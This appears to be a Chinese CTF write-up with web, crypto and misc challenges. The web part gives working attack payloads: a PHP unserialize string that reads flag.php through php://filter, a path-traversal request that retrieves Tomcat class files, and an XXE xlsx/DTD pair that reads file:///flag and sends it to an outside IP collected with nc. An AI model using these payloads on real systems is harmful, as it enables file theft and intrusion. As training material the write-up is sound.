WEB
AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
FileHandler里定义的三个类型皆为protected的变量,protected的属性在序列化时,会在属性名前增加0x00*0x00
,其长度会增加3。
分开看,首先以get形式传入的str会进入这里,每个字符的ascii必须>32小于125,也就是说,会过滤掉0x00这种不可见字符:
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
这里将变量视为public类型就可绕过,看了y1ng男神的博客,学到了是因为php7.1+版本对属性类型不敏感。但是正常%(%00*%00)会被过滤,可以考虑用S。
S表示序列化内容支持16进制,S代替s的情况下
\00
就会被解析成%00
(1个字符),而如果是小写s,\00
就是一个斜线+2个零(3个字符)
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
这两个放在一起看,必须让$op等于2,可如果op === “2”的话__destruct()函数里的内容就会在自动把它设为”1″。
这里有一个漏洞点就是弱等于的情况下是不比较类型的,2==”2″。因此可以用int类型的2绕过。
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
看到file_get_contents第一时间想到的是用伪协议去读取,查看路径:
/proc/self/cmdline
题外话,/proc/self/下经常会看这些东西:
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用
得到配置文件路径/web/config/httpd.conf,可读取到/web/html,伪协议读取/web/html/flag.php。在buu复现里直接读取flag.php就ok。
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
⚪参考:
https://www.gem-love.com/websecurity/2322.html
filejava
是一个文件上传页面,经测试存在任意文件读取:
通过报错得到它的绝对路径(/usr/local/tomcat/webapps/ROOT/WEB-INF/):
java题一般会读取web.xml,引用一下Match师傅博客里的内容:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
读取一下web.xml:
<servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/DownloadServlet</url-pattern> </servlet-mapping> <servlet> <servlet-name>ListFileServlet</servlet-name> <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ListFileServlet</servlet-name> <url-pattern>/ListFileServlet</url-pattern> </servlet-mapping> <servlet> <servlet-name>UploadServlet</servlet-name> <servlet-class>cn.abc.servlet.UploadServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>UploadServlet</servlet-name> <url-pattern>/UploadServlet</url-pattern> </servlet-mapping> </web-app>
然后根据web.xml读取class文件。规律是将包名里的“.”换成“/”,然后在/WEB-INF/classes/下,一共三个。比如:
/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
使用jd-gui对三个文件进行反编译,在DownloadServlet这里可以找到任意文件读取却不能读到flag的原因:
在UploadServlet中有如下代码:
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong"); e.printStackTrace(); } }
文件名是以 excel- 开始,并且扩展名是 xlsx 的话就会用 poi 进行处理。
新建一个xxe.xlsx,修改后缀名为zip,接下来要在zip中修改[Content-Types].xml的内容如下,我这里如果解压修改,再重命名xlsx就会出错(玄学问题,卡了好久,感谢byc_404师傅:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://174.1.80.141/file.dtd"> %remote;%int;%send; ]>
再把文件名字改为excel-***.xlsx
因为在buu复现的,所以开了小号开个内网靶机,获取一个ip。
在内网机上新建shell.dtd,写入如下内容:
(引入的是h3zh1师傅的payload)
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.80.141:2333?h3zh1=%file;'>">
nc -lvp 2333,上传excel-***.xlsx,成功反弹:
CRYPTO
boom
first:this string md5:46e5efe6165a5afb361217446a2dbd01
somd5解出en5oy
This time:Here are have some formulas
3x-y+z=185
2x+3y-z=321
x+y+z=173
Last time: Kill it
x*x+x-7943722218936282=0
填入第一个值得到flag。
⚪sage求解方程:
https://github.com/skyblueee/sage_tutorial_zh/blob/master/tour_algebra.rst
you raise me up
#!/usr/bin/env python # -*- coding: utf-8 -*- from Crypto.Util.number import * import random n = 2 ** 512 m = random.randint(2, n-1) | 1 c = pow(m, bytes_to_long(flag), n) print 'm = ' + str(m) print 'c = ' + str(c) # m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075 # c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
pow(m, bytes_to_long(flag), n): 函数是计算m的bytes_to_long(flag)次方,如果n在存在,则再对结果进行取模(pow(m,bytes_to_long(flag)) %n)
m c n已知,求未知的bytes_to_long(flag),经EDS师傅指点这是离散对数问题,EDS师傅tql´͈ ᵕ `͈
sage求离散对数用discrete_log。
⚪SAGE(SAGEMATH)密码学基本使用方法:
https://blog.csdn.net/qq_39642801/article/details/104158699
MISC
虚幻2
把后缀改为“png”,该图宽36像素,高度12像素。写脚本读取图片的RGB值(竖着读),每一个像素点的每一个RGB值都要逐个分析,“255”视为1,“0”视为0:
from PIL import Image file = Image.open("file.png") x = 36 y = 12 for i in range(x): for j in range(y): rgb = file.getpixel((i, j)) if(rgb[0] == 255): print('1',end="") else: print('0',end="") if(rgb[1] == 255): print('1',end="") else: print('0',end="") if(rgb[2] == 255): print('1',end="") else: print('0',end="")
得到:
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111
转为图片:
from PIL import Image import re x = 36 #宽 y = 36 #长 #长*宽是行数 im = Image.new("RGB",(x,y)) file = open(r'test.txt').read() print(file) black = (255,255,255) white = (0,0,0) z = 0 for i in range(0,x): for j in range(0,y): if(file[z]=='1'): im.putpixel((j,i),black) else: im.putpixel((j,i),white) z += 1 im.save("done.png",'png')
放大:
旋转条形码+旋转左下定位点+补全,这里测了好久,最后抱着必死的心态写了个“草”扫成功了Q Q
在线识别汉信码的网站已经凉掉了,识别用的中国编码app,感谢Hh0师傅。